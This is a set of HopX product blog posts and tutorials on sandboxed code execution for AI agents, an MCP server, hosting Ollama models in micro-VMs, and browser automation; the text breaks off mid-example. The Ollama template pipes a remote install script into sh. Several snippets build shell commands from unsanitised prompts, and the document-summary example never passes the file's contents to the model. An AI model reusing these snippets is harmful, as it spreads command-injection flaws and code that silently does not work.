The LLM can generate any code. The sandbox ensures it can't harm your infrastructure.
## The Business Case for Isolation
Beyond security, there are business reasons to isolate AI agent execution:
### Compliance
GDPR, HIPAA, SOC 2, and other frameworks require data isolation. Running user data through shared execution environments is a compliance nightmare.
### Multi-tenancy
If you're building a B2B AI product, each customer's data must be isolated. Sandboxes provide this by default.
### Predictable Costs
Runaway processes in shared environments affect all users. Sandboxes have resource limits—one user can't consume all your compute.
### Debugging
When something goes wrong, isolated sandboxes make debugging straightforward. Each execution is contained and logged independently.
## Getting Started with Secure Execution
Adding isolation to your AI agent is surprisingly simple:
```python
pip install hopx-ai
```
```python
from hopx_ai import Sandbox
# Your agent logic
def execute_agent_code(code: str) -> str:
with Sandbox.create(template="code-interpreter") as sandbox:
result = sandbox.run_code(code)
return result.stdout if result.exit_code == 0 else result.stderr
```
That's it. Every execution now runs in an isolated microVM.
## Common Questions
### What if I need packages the template doesn't have?
Install them at runtime:
```python
sandbox.commands.run("pip install pandas matplotlib seaborn")
sandbox.run_code("import pandas as pd; print(pd.__version__)")
```
Or create a custom template with your dependencies pre-installed.
### Can sandboxes access the internet?
Yes, sandboxes have outbound internet access by default. You can restrict this if needed.
### What about performance-sensitive applications?
Sandboxes add approximately 100ms of overhead for creation. For long-running tasks, this is negligible. For rapid-fire executions, you can reuse sandboxes.
### How do I share data between my app and the sandbox?
Use the file API to upload data before execution and download results after:
```python
sandbox.files.write("/data/input.csv", your_data)
sandbox.run_code("import pandas as pd; df = pd.read_csv('/data/input.csv')...")
result = sandbox.files.read("/data/output.csv")
```
## Conclusion
AI agents are only getting more powerful. They'll write code, execute commands, and manipulate data at scales we can barely imagine.
The question isn't whether you need isolated execution—it's whether you'll add it before or after a security incident.
Hardware-level isolation with microVMs gives you:
- **True security** - Not just "probably safe"
- **Fast startup** - 100ms cold starts
- **Full capabilities** - No artificial restrictions
- **Compliance** - Data isolation by design
The infrastructure to do this safely exists today. Use it.
---
Ready to secure your AI agents? [Get started with HopX](https://console.hopx.ai) and get $200 in free credits.
---
## Announcing HopX MCP Server: Code Execution for AI Assistants
URL: https://hopx.ai/blog/product-updates/announcing-hopx-mcp-server/
Category: Product Updates
Published: 2025-11-25
# Announcing HopX MCP Server: Code Execution for AI Assistants
We're excited to announce the **HopX MCP Server** — a Model Context Protocol server that enables AI assistants like Claude, Cursor, and VS Code Copilot to execute code in secure, isolated cloud containers.
**One command to install. Instant code execution superpowers.**
```bash
uvx hopx-mcp
```
## What is MCP?
The [Model Context Protocol](https://modelcontextprotocol.io/) (MCP) is an open standard that allows AI assistants to interact with external tools and services. Instead of just generating code, your AI can now *run* it.
With the HopX MCP Server, when you ask Claude to "analyze this data" or "test this function," it doesn't just write the code — it executes it in a secure sandbox and returns the actual results.
## Why HopX MCP?
**Before HopX MCP:**
> "Here's some Python code that should work. Copy it and run it yourself to see the output."
**After HopX MCP:**
> "I ran the analysis. Here are the results: average is 42.5, median is 38, and I've generated a chart showing the distribution."
The difference is transformative. Your AI assistant becomes a true coding partner that can:
- **Execute code** and see real output
- **Debug iteratively** by running and fixing
- **Analyze data** with pandas, numpy, matplotlib
- **Test solutions** before presenting them
- **Work with files** in isolated environments
## Quick Start
### 1. Get Your API Key
Sign up at [hopx.ai](https://hopx.ai) to get your API key.
### 2. Configure Your IDE
**For Claude Desktop**, add to your config file:
```json
{
"mcpServers": {
"hopx-sandbox": {
"command": "uvx",
"args": ["hopx-mcp"],
"env": {
"HOPX_API_KEY": "your-api-key-here"
}
}
}
}
```
Config locations:
- **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`
- **Windows**: `%APPDATA%\Claude\claude_desktop_config.json`
**For Cursor**, add to `.cursor/mcp.json`:
```json
{
"mcpServers": {
"hopx-sandbox": {
"command": "uvx",
"args": ["hopx-mcp"],
"env": {
"HOPX_API_KEY": "your-api-key-here"
}
}
}
}
```
**For VS Code**, add to `.vscode/mcp.json`:
```json
{
"mcpServers": {
"hopx-sandbox": {
"command": "uvx",
"args": ["hopx-mcp"],
"env": {
"HOPX_API_KEY": "your-api-key-here"
}
}
}
}
```
### 3. Start Using It
Restart your IDE and start asking your AI to run code!
## Capabilities
### Multi-Language Support
Execute code in multiple languages out of the box:
| Language | Version | Pre-installed Packages |
|----------|---------|----------------------|
| Python | 3.11+ | pandas, numpy, matplotlib, scipy, scikit-learn, requests |
| JavaScript | Node.js 20 | Standard libraries |
| Bash | Latest | Unix utilities, git, curl, wget |
| Go | Latest | Compilation support |
### Available Tools
The MCP server provides these tools to your AI assistant:
**Code Execution**
- `execute_code_isolated()` — One-shot execution (recommended)
- `execute_code()` — Execute in existing sandbox
- `execute_code_background()` — Long-running tasks
- `execute_code_async()` — Webhook callbacks for 30+ min tasks
**File Operations**
- `file_read()`, `file_write()`, `file_list()`
- `file_exists()`, `file_remove()`, `file_mkdir()`
**Shell Commands**
- `run_command()` — Execute shell commands
- `run_command_background()` — Background processes
**Sandbox Management**
- `create_sandbox()` — Create persistent sandbox
- `list_sandboxes()` — List active sandboxes
- `delete_sandbox()` — Terminate sandbox
## Performance
We've optimized for the interactive AI use case:
| Metric | Time |
|--------|------|
| Sandbox creation | ~200ms |
| Container startup | ~100ms |
| Code execution | Near-instant |
Your AI doesn't wait. Neither do you.
## Security
Every code execution runs in complete isolation:
- **VM-level isolation** — Each execution in its own micro-VM
- **Auto-cleanup** — Containers destroyed after use (default: 10 min)
- **No cross-contamination** — Sandboxes can't access each other
- **JWT authentication** — Secure per-sandbox auth
Your local system is completely protected from executed code.
## Example Use Cases
### Data Analysis
Ask Claude: *"Download the Titanic dataset and show me survival rates by passenger class"*
Claude will:
1. Execute code to download the dataset
2. Run pandas analysis
3. Generate matplotlib visualizations
4. Return actual statistics and charts
### Code Testing
Ask Cursor: *"Write a function to validate email addresses and test it with edge cases"*
Cursor will:
1. Write the validation function
2. Create test cases
3. Execute tests in a sandbox
4. Show real pass/fail results
### Debugging
Ask your AI: *"This code throws an error, fix it"*
Your AI will:
1. Run the code to see the actual error
2. Analyze the traceback
3. Apply a fix
4. Run again to verify it works
## Open Source
The HopX MCP Server is open source and available on GitHub:
**[github.com/hopx-ai/mcp](https://github.com/hopx-ai/mcp)**
We welcome contributions, issues, and feedback from the community.
## Get Started Today
1. **Sign up** at [hopx.ai](https://hopx.ai) for your API key
2. **Install** with `uvx hopx-mcp`
3. **Configure** your IDE
4. **Start building** with AI-powered code execution
Transform your AI assistant from a code generator into a true coding partner.
---
## Resources
- [GitHub Repository](https://github.com/hopx-ai/mcp)
- [HopX Documentation](https://docs.hopx.ai)
- [Model Context Protocol](https://modelcontextprotocol.io/)
- [Get API Key](https://hopx.ai)
Questions? Reach out at [support@hopx.ai](mailto:support@hopx.ai).
---
## Run Any LLM with Ollama in Secure Sandboxes
URL: https://hopx.ai/blog/tutorials/run-any-llm-with-ollama-in-secure-sandboxes/
Category: Tutorials
Published: 2025-11-25
# Run Any LLM with Ollama in Secure Sandboxes
Want to run LLMs like Llama 3.3, Mixtral, or CodeLlama without sending data to third-party APIs? This guide shows you how to deploy Ollama in isolated HopX sandboxes—giving you the privacy of self-hosting with the simplicity of a managed service.
**What you'll learn:**
- Deploy any Ollama model with ~100ms cold starts
- Save up to 78% compared to pay-per-token APIs
- Keep sensitive data in hardware-isolated environments
- Scale from 1 to 1,000 sandboxes with the same code
---
## Why Traditional LLM Deployment Costs You More Than Money
Running AI models in production introduces three critical problems:
### Problem 1: Security Risks You Can't Afford
Container-based deployments share a host kernel. One escape path compromises your entire infrastructure. If your application handles sensitive data—medical records, financial transactions, or proprietary code—this shared-kernel architecture creates unacceptable risk.
### Problem 2: Cold Starts Kill User Experience
Traditional containers take 10+ seconds to start. Every request waits while resources spin up. Your users see loading screens. Your AI agents sit idle. Productivity drops while infrastructure catches up.
### Problem 3: Unpredictable Costs Drain Budgets
Cloud API pricing varies with token count. One complex query can cost 10x more than expected. Monthly bills fluctuate wildly. You can't forecast spending or optimize costs when pricing depends on factors outside your control.
---
## The Solution: Ollama on Isolated Micro-VMs
Combining Ollama with HopX sandboxes solves these problems through a different architecture. Each model runs in its own micro-VM with dedicated kernel, file system, and network stack.
**What changes:**
- **Security**: Each sandbox has its own kernel. No shared resources.
- **Speed**: Sandboxes start in ~100ms from pre-built snapshots.
- **Cost**: Pay per second of actual compute usage. Pause when idle.
- **Privacy**: Your data never leaves your infrastructure.
---
## Real Performance Numbers
| Metric | Traditional Containers | HopX Micro-VMs |
|--------|------------------------|----------------|
| **Cold Start Time** | 10-15 seconds | ~100 milliseconds |
| **Kernel Isolation** | Shared kernel | Dedicated kernel per VM |
| **Runtime Limits** | 15 minutes (typical) | Hours to days |
| **Startup Cost** | Fixed per invocation | $0.000014/vCPU-second |
| **Data Residency** | Provider-dependent | Your choice of region |
For high-volume workloads, self-managed micro-VMs can reduce costs by **up to 78%** compared to pay-per-token APIs.
---
## Prerequisites
Before starting, you need:
- A HopX account ([sign up here](https://console.hopx.ai) for $200 in free credits)
- Python 3.11+
- Your `HOPX_API_KEY` from the dashboard
**Set up your environment:**
1. Sign up at [console.hopx.ai](https://console.hopx.ai)
2. Get your API key from the dashboard
3. Set the environment variable:
```bash
export HOPX_API_KEY="your-api-key-here"
```
---
## Step 1: Install Dependencies
```bash
pip install hopx-ai python-dotenv asyncio
```
---
## Step 2: Configure Environment
```python
import os
import time
import asyncio
from dotenv import load_dotenv
# Load environment variables
load_dotenv()
# Verify API key is set
api_key = os.getenv("HOPX_API_KEY")
if not api_key:
print("⚠️ HOPX_API_KEY not found in environment")
print("Please set it: export HOPX_API_KEY=your-key-here")
else:
print("✓ API key configured")
```
---
## Step 3: Create Ollama Template
Templates define your sandbox environment. This template:
- Starts with Python 3.13 base image
- Installs Ollama
- Pre-downloads your chosen model
- Configures the environment for production use
```python
from hopx_ai import Template
from hopx_ai.template.types import BuildOptions, BuildResult
# Configuration
OLLAMA_MODEL = "llama3.3" # Change this to your preferred model
TEMPLATE_NAME = f"ollama-production-{int(time.time())}"
def create_ollama_template() -> Template:
"""Create a production-ready Ollama template."""
return (
Template()
.from_python_image("3.13")
.run_cmd("mkdir -p /workspace")
.set_env("LANG", "en_US.UTF-8")
.set_env("PYTHONUNBUFFERED", "1")
.set_env("HOME", "/workspace")
.run_cmd("curl -fsSL https://ollama.com/install.sh | sh")
.run_cmd(f"/usr/local/bin/ollama pull {OLLAMA_MODEL}")
.set_workdir("/workspace")
)
def create_build_options(api_key: str) -> BuildOptions:
"""Configure build options for the template."""
return BuildOptions(
name=TEMPLATE_NAME,
api_key=api_key,
cpu=2,
memory=2048, # MB
disk_gb=20,
on_log=lambda log: print(f"[{log.get('level')}] {log.get('message')}"),
on_progress=lambda p: print(f"Build progress: {p}%"),
)
async def build_template() -> BuildResult:
"""Build the Ollama template."""
template = create_ollama_template()
options = create_build_options(os.getenv("HOPX_API_KEY"))
print(f"Building template: {TEMPLATE_NAME}")
return await Template.build(template, options)
print("✓ Template configuration ready")
```
---
## Step 4: Build and Deploy Your First Sandbox
This step builds the template and creates a sandbox. **Note:** Building takes ~2 minutes the first time.
```python
from hopx_ai import Sandbox
async def deploy_ollama_sandbox():
"""Deploy an Ollama sandbox."""
# Build the template (do this once)
print("Building template... (this takes ~2 minutes)")
result = await build_template()
print(f"✓ Template ready: {result.template_id}")
# Create sandbox from template
print("Creating sandbox...")
sandbox = Sandbox.create(
template=TEMPLATE_NAME,
api_key=os.getenv("HOPX_API_KEY")
)
print(f"✓ Sandbox created: {sandbox.sandbox_id}")
# Test with a simple prompt
print("\nTesting model...")
response = sandbox.commands.run(
f"/usr/local/bin/ollama run {OLLAMA_MODEL} 'Explain quantum computing in one sentence'",
timeout=240
)
print(f"\nModel response:\n{response.stdout}")
return sandbox
# Run the deployment
sandbox = await deploy_ollama_sandbox()
```
---
## Step 5: Persist and Reconnect to Sandboxes
Creating new sandboxes every time wastes resources. Save the sandbox ID and reconnect:
```python
async def get_or_create_sandbox() -> Sandbox:
"""Get existing sandbox or create new one."""
sandbox_file = ".hopx_sandbox_id"
if os.path.exists(sandbox_file):
with open(sandbox_file, "r") as f:
sandbox_id = f.read().strip()
try:
sandbox = Sandbox.connect(
sandbox_id,
api_key=os.getenv("HOPX_API_KEY")
)
print(f"✓ Reconnected to sandbox: {sandbox_id}")
return sandbox
except Exception as e:
print(f"Could not reconnect: {e}")
print("Creating new sandbox...")
# Build and create new sandbox
template_result = await build_template()
sandbox = Sandbox.create(
template=TEMPLATE_NAME,
api_key=os.getenv("HOPX_API_KEY")
)
with open(sandbox_file, "w") as f:
f.write(sandbox.sandbox_id)
print(f"✓ Created new sandbox: {sandbox.sandbox_id}")
return sandbox
```
---
## Choose the Right Ollama Model
### For Speed and Efficiency
- **smollm** (135M-1.7B): Minimal resources, great for testing
- **phi-3** (3.8B): Fast inference, good for classification
- **qwen2** (7B): Strong multilingual support
### For Quality and Reasoning
- **llama3.3** (70B): Advanced reasoning and coding
- **mixtral** (47B): Mixture-of-experts for specialized tasks
- **deepseek-r1** (70B): Advanced reasoning and problem-solving
### For Code Generation
- **codellama** (7B-34B): Optimized for programming
- **codegemma** (7B): Google's code-focused model
### Resource Requirements
- **2 vCPU, 2GB RAM**: Models up to 3B parameters
- **4 vCPU, 8GB RAM**: Models up to 13B parameters
- **8 vCPU, 16GB RAM**: Models up to 70B parameters
---
## Cost Calculator: What You Actually Pay
HopX charges per second:
- **Compute**: $0.000014 per vCPU-second
- **Memory**: $0.0000045 per GiB-second
- **Storage**: $0.00000003 per GiB-second
```python
def calculate_cost(vcpu: int, memory_gb: int, storage_gb: int, hours: float) -> dict:
"""Calculate HopX sandbox costs."""
seconds = hours * 3600
compute_cost = vcpu * seconds * 0.000014
memory_cost = memory_gb * seconds * 0.0000045
storage_cost = storage_gb * seconds * 0.00000003
total = compute_cost + memory_cost + storage_cost
return {
"compute": round(compute_cost, 4),
"memory": round(memory_cost, 4),
"storage": round(storage_cost, 4),
"total": round(total, 4),
"daily": round(total, 4),
"monthly": round(total * 30, 2)
}
# Example 1: Development Testing
print("Example 1: Development Testing (7B model, 30 min/day)")
dev_cost = calculate_cost(vcpu=2, memory_gb=4, storage_gb=20, hours=0.5)
print(f" Daily cost: ${dev_cost['daily']}")
print(f" Monthly cost: ${dev_cost['monthly']}")
# Example 2: Production AI Agent
print("Example 2: Production AI Agent (13B model, 8 hours/day)")
prod_cost = calculate_cost(vcpu=4, memory_gb=8, storage_gb=30, hours=8)
print(f" Daily cost: ${prod_cost['daily']}")
print(f" Monthly cost: ${prod_cost['monthly']}")
# Example 3: 24/7 Service
print("Example 3: High-Volume API (10 sandboxes, 24/7)")
service_cost = calculate_cost(vcpu=2, memory_gb=4, storage_gb=20, hours=24)
print(f" Per sandbox daily: ${service_cost['daily']}")
print(f" 10 sandboxes monthly: ${service_cost['monthly'] * 10}")
```
---
## Cost Optimization Patterns
```python
# Pattern 1: Pause When Idle
# Paused sandboxes cost 10x less
def pause_sandbox_when_idle(sandbox: Sandbox):
"""Pause sandbox to reduce costs."""
sandbox.pause() # Preserves state, reduces costs
print("Sandbox paused. Resume with sandbox.resume()")
# Pattern 2: Delete Completed Work
async def run_and_cleanup(sandbox: Sandbox, task: str):
"""Run task and clean up."""
try:
result = sandbox.commands.run(task)
return result
finally:
sandbox.delete() # Stop all charges
# Pattern 3: Choose Model by Complexity
def choose_model(complexity_score: float) -> str:
"""Choose model based on task complexity."""
if complexity_score < 0.5:
return "phi-3" # Fast, cheap
elif complexity_score < 0.8:
return "llama3.3" # Balanced
else:
return "mixtral" # Heavy reasoning
# Pattern 4: Batch Requests
async def batch_process(sandbox: Sandbox, prompts: list[str], model: str):
"""Process multiple prompts in one session."""
results = []
for prompt in prompts:
result = sandbox.commands.run(f"ollama run {model} '{prompt}'")
results.append(result.stdout)
# Delete sandbox after batch completes
sandbox.delete()
return results
```
---
## Security Best Practices
### Why Isolation Matters
Each HopX sandbox has:
- **Dedicated kernel**: No shared kernel vulnerabilities
- **Isolated file system**: No cross-sandbox file access
- **Separate network stack**: Network policies per sandbox
- **Process tree isolation**: Processes can't see other sandboxes
This matters for:
- **Healthcare**: HIPAA-compliant patient data
- **Finance**: PCI DSS requirements
- **Legal**: Privileged document analysis
- **Enterprise**: Proprietary code and trade secrets
```python
# Handle Secrets Securely
def create_secure_sandbox():
"""Create sandbox with secure environment variables."""
sandbox = Sandbox.create(
template=TEMPLATE_NAME,
api_key=os.getenv("HOPX_API_KEY"),
env_vars={
"DATABASE_URL": os.getenv("DATABASE_URL"),
"API_SECRET": os.getenv("API_SECRET")
}
)
return sandbox
# Choose Data Region
def create_regional_sandbox(region: str = "us-east"):
"""Create sandbox in specific region."""
sandbox = Sandbox.create(
template=TEMPLATE_NAME,
api_key=os.getenv("HOPX_API_KEY"),
region=region # "us-east" or "eu-west"
)
return sandbox
```
---
## Production Pattern: Long-Running AI Agent
```python
async def run_ai_agent():
"""Run a long-running AI agent."""
sandbox = await get_or_create_sandbox()
# Agent runs continuously
while True:
# Get next task (implement your task queue here)
task = get_next_task() # Your implementation
result = sandbox.commands.run(
f"ollama run llama3.3 '{task.prompt}'",
timeout=300
)
process_result(result.stdout) # Your implementation
# Check if we should continue
if should_stop(): # Your implementation
break
# Pause instead of delete to preserve state
sandbox.pause()
```
---
## Production Pattern: Multi-Tenant Application
```python
tenant_sandboxes = {}
def get_tenant_sandbox(tenant_id: str) -> Sandbox:
"""Get or create isolated sandbox for tenant."""
if tenant_id not in tenant_sandboxes:
sandbox = Sandbox.create(
template=TEMPLATE_NAME,
api_key=os.getenv("HOPX_API_KEY")
)
tenant_sandboxes[tenant_id] = sandbox
return tenant_sandboxes[tenant_id]
# Example usage
tenant_a_sandbox = get_tenant_sandbox("tenant-a")
tenant_b_sandbox = get_tenant_sandbox("tenant-b")
```
---
## Use Case: Private Document Analysis
```python
async def analyze_documents(documents: list[str]) -> list[dict]:
"""Analyze sensitive documents privately."""
sandbox = await get_or_create_sandbox()
results = []
for doc in documents:
# Upload document to sandbox
sandbox.files.write("/workspace/document.txt", doc)
# Analyze with Ollama
response = sandbox.commands.run(
"ollama run llama3.3 'Summarize /workspace/document.txt'",
timeout=180
)
results.append({
"summary": response.stdout,
"document": doc[:100] # First 100 chars for reference
})
return results
```
---
## Use Case: Code Generation and Testing
```python
async def generate_and_test_code(specification: str):
"""Generate and test code in isolated environment."""
sandbox = await get_or_create_sandbox()
# Generate code
code_response = sandbox.commands.run(
f"ollama run codellama 'Write Python function: {specification}'",
timeout=120
)
generated_code = code_response.stdout
# Write to file
sandbox.files.write("/workspace/generated.py", generated_code)
# Test the code
test_result = sandbox.commands.run(
"python /workspace/generated.py",
timeout=30
)
return {
"code": generated_code,
"test_output": test_result.stdout,
"success": test_result.exit_code == 0
}
```
---
## Monitoring and Debugging
```python
def monitor_sandbox(sandbox: Sandbox):
"""Monitor sandbox resource usage."""
info = sandbox.get_info()
print(f"Status: {info.status}")
print(f"CPU cores: {info.cpu}")
print(f"Memory: {info.memory}MB")
print(f"Disk: {info.disk_gb}GB")
print(f"Region: {info.region}")
print(f"Created: {info.created_at}")
# Error handling with retry
async def run_with_retry(
sandbox: Sandbox,
command: str,
max_retries: int = 3
) -> str:
"""Run command with exponential backoff retry."""
for attempt in range(max_retries):
try:
result = sandbox.commands.run(command, timeout=120)
return result.stdout
except TimeoutError:
if attempt == max_retries - 1:
raise
print(f"Timeout on attempt {attempt + 1}, retrying...")
await asyncio.sleep(2 ** attempt) # Exponential backoff
except Exception as e:
if attempt == max_retries - 1:
raise
print(f"Error on attempt {attempt + 1}: {e}, retrying...")
await asyncio.sleep(2 ** attempt)
```
---
## Troubleshooting Guide
### Issue 1: Model Not Found
**Problem**: `Error: model 'model-name' not found`
**Solution**: Pull the model in your template:
```python
.run_cmd("/usr/local/bin/ollama pull your-model-name")
```
### Issue 2: Out of Memory
**Problem**: Sandbox crashes with memory errors
**Solution**: Increase memory in BuildOptions:
```python
BuildOptions(memory=8192) # Instead of 2048
```
### Issue 3: Slow Response Times
**Problem**: Models take too long to respond
**Solution**: Use smaller models or increase CPU:
```python
OLLAMA_MODEL = "phi-3" # Faster model
BuildOptions(cpu=4) # More CPU
```
### Issue 4: Connection Timeouts
**Problem**: SDK times out connecting
**Solution**: Increase timeout:
```python
sandbox.commands.run(command, timeout=300)
```
---
## Quick Start Checklist
**Step 1: Sign Up**
1. Visit [console.hopx.ai](https://console.hopx.ai)
2. Create account (no credit card required)
3. Claim $200 in free credits
4. Copy your API key from dashboard
**Step 2: Setup**
```bash
pip install hopx-ai
export HOPX_API_KEY=your-key-here
```
**Step 3: Deploy**
1. Build template (~2 minutes, one time)
2. Create sandbox (~100ms)
3. Run any Ollama model
**What you get:**
| Metric | Value |
|--------|-------|
| Build time | ~2 minutes (once) |
| Cold start | ~100ms |
| Runtime limit | None |
| Cost | ~$0.10/hour for 7B model |
---
## Comparing Your Options
| Approach | Cold Start | Isolation | Cost Model | Best For |
|----------|-----------|-----------|------------|----------|
| **Cloud APIs** (OpenAI, Anthropic) | Instant | Provider-managed | Per-token | Low volume, varied tasks |
| **Self-Hosted VMs** | Minutes | Strong | Fixed monthly | Predictable high volume |
| **Containers** (Docker) | 10+ seconds | Shared kernel | Fixed or per-second | Development only |
| **HopX + Ollama** | ~100ms | Hardware-level | Per-second usage | Variable volume, privacy needs |
**Choose HopX + Ollama when you need:**
- Fast cold starts for user-facing applications
- Strong isolation for sensitive data
- Cost control through per-second billing
- Freedom to switch models without vendor lock-in
- Data privacy and regulatory compliance
---
## Next Steps
You now have everything needed to run production LLMs in secure sandboxes.
**What you learned:**
- Privacy: Data stays in environments you control
- Speed: 100ms startup beats any container solution
- Cost: Pay only for seconds of actual usage
- Security: Hardware-level isolation protects sensitive workloads
- Flexibility: Run any model, any size, any configuration
**Get started:**
1. Use the $200 free credits
2. Build your first template
3. Test a few models
4. See how the economics work for your use case
When ready to scale, the same code works for 10 sandboxes or 1,000.
---
## Frequently Asked Questions
### Can I use any Ollama model?
Yes. Any model in the [Ollama library](https://ollama.com/library) works—Llama 3.3, Mixtral, CodeLlama, Phi-3, DeepSeek, and more. Just change the `OLLAMA_MODEL` variable in your template and rebuild.
### How much does it cost to run a model 24/7?
For a 7B model (2 vCPU, 4GB RAM, 20GB disk), expect around $2-3 per day. Larger models like 70B need more resources and cost proportionally more. Use `sandbox.pause()` when idle to reduce costs by 90%.
### Is my data really private?
Yes. Each sandbox runs in its own micro-VM with dedicated kernel, filesystem, and network. Your prompts and outputs never leave the sandbox. You can also choose specific regions (US, EU) for data residency compliance.
### How long can a sandbox run?
As long as you need—hours, days, or weeks. There are no 15-minute timeouts like AWS Lambda. You pay per second of runtime and can pause/resume to save costs.
### Can I run multiple models in one sandbox?
Yes. Pull multiple models in your template, then switch between them at runtime with `ollama run model-name`. This is useful for routing simple queries to smaller models and complex ones to larger models.
### What if my model is too slow?
Three options: (1) Use a smaller, faster model like Phi-3, (2) Increase vCPU count in BuildOptions, (3) Use quantized versions of models (q4 instead of full precision).
---
## Resources
**Getting Started**
- [HopX Quickstart Guide](https://docs.hopx.ai/quickstart)
- [Ollama Model Library](https://ollama.com/library)
- [Python SDK Documentation](https://docs.hopx.ai/)
**About HopX**
- [HopX Security Architecture](https://docs.hopx.ai/core-concepts/security)
- [Template System Documentation](https://docs.hopx.ai/core-concepts/templates)
- [Pricing Calculator](https://hopx.ai/#pricing)
---
Ready to run your own LLMs? [Sign up for HopX](https://console.hopx.ai) and get $200 in free credits to start.
---
## Desktop Automation with HopX: Browser Testing & RPA
URL: https://hopx.ai/blog/tutorials/desktop-automation-browser-testing-rpa/
Category: Tutorials
Published: 2025-11-23
# Desktop Automation with HopX: Browser Testing & RPA
Browser automation and RPA (Robotic Process Automation) are powerful tools for testing, web scraping, and automating repetitive tasks. But running browsers locally creates problems: resource usage, security risks, and scalability limitations.
HopX sandboxes provide isolated environments with full desktop capabilities, including browsers with GPU acceleration. This guide shows you how to run browser automation at scale.
## Why Cloud-Based Browser Automation?
**Local automation challenges:**
- Browsers consume significant RAM and CPU
- Parallel execution requires expensive hardware
- Security risks from executing untrusted code
- Difficult to scale beyond a single machine
- Environment inconsistency across machines
**HopX sandbox advantages:**
- Each sandbox runs in an isolated micro-VM
- Full browser support with virtual display
- Scale to hundreds of parallel sessions
- Consistent, reproducible environments
- No local resource consumption
## Setting Up Browser Automation
HopX provides a pre-configured desktop template with browsers and automation tools installed:
```python
from hopx import Sandbox
# Create sandbox with desktop capabilities
sandbox = Sandbox.create(template="desktop")
# Verify browser installation
result = sandbox.commands.run("chromium --version")
print(result.stdout) # Chromium 120.0.6099.71
```
The desktop template includes:
- **Chromium** - Full browser with DevTools
- **Firefox** - Alternative browser engine
- **Virtual Display (Xvfb)** - Headless display server
- **Playwright** - Modern automation framework
- **Selenium** - Traditional WebDriver
## Playwright Automation Examples
Playwright is the recommended tool for modern browser automation. It supports multiple browsers and provides excellent reliability.
### Basic Navigation and Screenshots
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="desktop")
# Write Playwright script
playwright_script = '''
import asyncio
from playwright.async_api import async_playwright
async def main():
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page()
# Navigate and take screenshot
await page.goto('https://hopx.ai')
await page.screenshot(path='/tmp/homepage.png')
# Get page title
title = await page.title()
print(f"Page title: {title}")
await browser.close()
asyncio.run(main())
'''
sandbox.files.write("/app/scrape.py", playwright_script)
result = sandbox.commands.run("cd /app && python scrape.py")
print(result.stdout)
# Download the screenshot
screenshot = sandbox.files.read("/tmp/homepage.png")
with open("homepage.png", "wb") as f:
f.write(screenshot)
```
### Form Automation and Data Extraction
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="desktop")
form_script = '''
import asyncio
from playwright.async_api import async_playwright
async def main():
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page()
# Navigate to a form
await page.goto('https://example.com/contact')
# Fill form fields
await page.fill('#name', 'John Doe')
await page.fill('#email', 'john@example.com')
await page.fill('#message', 'Hello from HopX!')
# Submit and wait for response
await page.click('button[type="submit"]')
await page.wait_for_selector('.success-message')
# Extract confirmation
confirmation = await page.text_content('.success-message')
print(f"Result: {confirmation}")
await browser.close()
asyncio.run(main())
'''
sandbox.files.write("/app/form.py", form_script)
result = sandbox.commands.run("cd /app && python form.py")
print(result.stdout)
```
### Parallel Browser Sessions
One of the biggest advantages of HopX is running multiple browsers in parallel:
```python
from hopx import Sandbox
import concurrent.futures
def scrape_url(url):
"""Scrape a single URL in its own sandbox"""
sandbox = Sandbox.create(template="desktop")
script = f'''
import asyncio
from playwright.async_api import async_playwright
async def main():
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page()
await page.goto("{url}")
title = await page.title()
content = await page.content()
print(f"Title: {{title}}")
print(f"Length: {{len(content)}} chars")
await browser.close()
asyncio.run(main())
'''
sandbox.files.write("/app/scrape.py", script)
result = sandbox.commands.run("cd /app && python scrape.py")
sandbox.kill() # Clean up
return result.stdout
# Scrape multiple URLs in parallel
urls = [
"https://news.ycombinator.com",
"https://github.com/trending",
"https://reddit.com/r/programming",
"https://dev.to",
"https://lobste.rs"
]
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(scrape_url, urls))
for url, result in zip(urls, results):
print(f"\n{url}:")
print(result)
```
## Selenium WebDriver Examples
For projects already using Selenium, HopX sandboxes work seamlessly:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="desktop")
selenium_script = '''
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
# Configure headless Chrome
options = Options()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-gpu')
driver = webdriver.Chrome(options=options)
try:
driver.get('https://hopx.ai')
# Wait for element to load
wait = WebDriverWait(driver, 10)
element = wait.until(
EC.presence_of_element_located((By.TAG_NAME, "h1"))
)
print(f"Title: {driver.title}")
print(f"H1: {element.text}")
# Take screenshot
driver.save_screenshot('/tmp/selenium-shot.png')
finally:
driver.quit()
'''
sandbox.files.write("/app/selenium_test.py", selenium_script)
result = sandbox.commands.run("cd /app && python selenium_test.py")
print(result.stdout)
```
## RPA Workflow Automation
HopX is perfect for Robotic Process Automation (RPA) tasks that interact with web applications:
### Example: Invoice Processing Automation
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="desktop")
rpa_script = '''
import asyncio
from playwright.async_api import async_playwright
import json
async def process_invoices():
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
context = await browser.new_context()
page = await context.new_page()
# Login to invoice portal
await page.goto('https://invoices.example.com/login')
await page.fill('#username', 'automation@company.com')
await page.fill('#password', 'secure_password')
await page.click('#login-button')
# Wait for dashboard
await page.wait_for_selector('.invoice-list')
# Get all pending invoices
invoices = await page.query_selector_all('.invoice-item.pending')
processed = []
for invoice in invoices:
invoice_id = await invoice.get_attribute('data-id')
amount = await invoice.text_content('.amount')
# Click to open invoice
await invoice.click()
await page.wait_for_selector('.invoice-details')
# Approve invoice
await page.click('#approve-button')
await page.wait_for_selector('.approval-success')
processed.append({
'id': invoice_id,
'amount': amount,
'status': 'approved'
})
# Go back to list
await page.click('.back-to-list')
await page.wait_for_selector('.invoice-list')
print(json.dumps(processed, indent=2))
await browser.close()
asyncio.run(process_invoices())
'''
sandbox.files.write("/app/rpa_invoices.py", rpa_script)
result = sandbox.commands.run("cd /app && python rpa_invoices.py")
print(result.stdout)
```
### Example: Data Entry Automation
```python
from hopx import Sandbox
import json
# Data to be entered
records = [
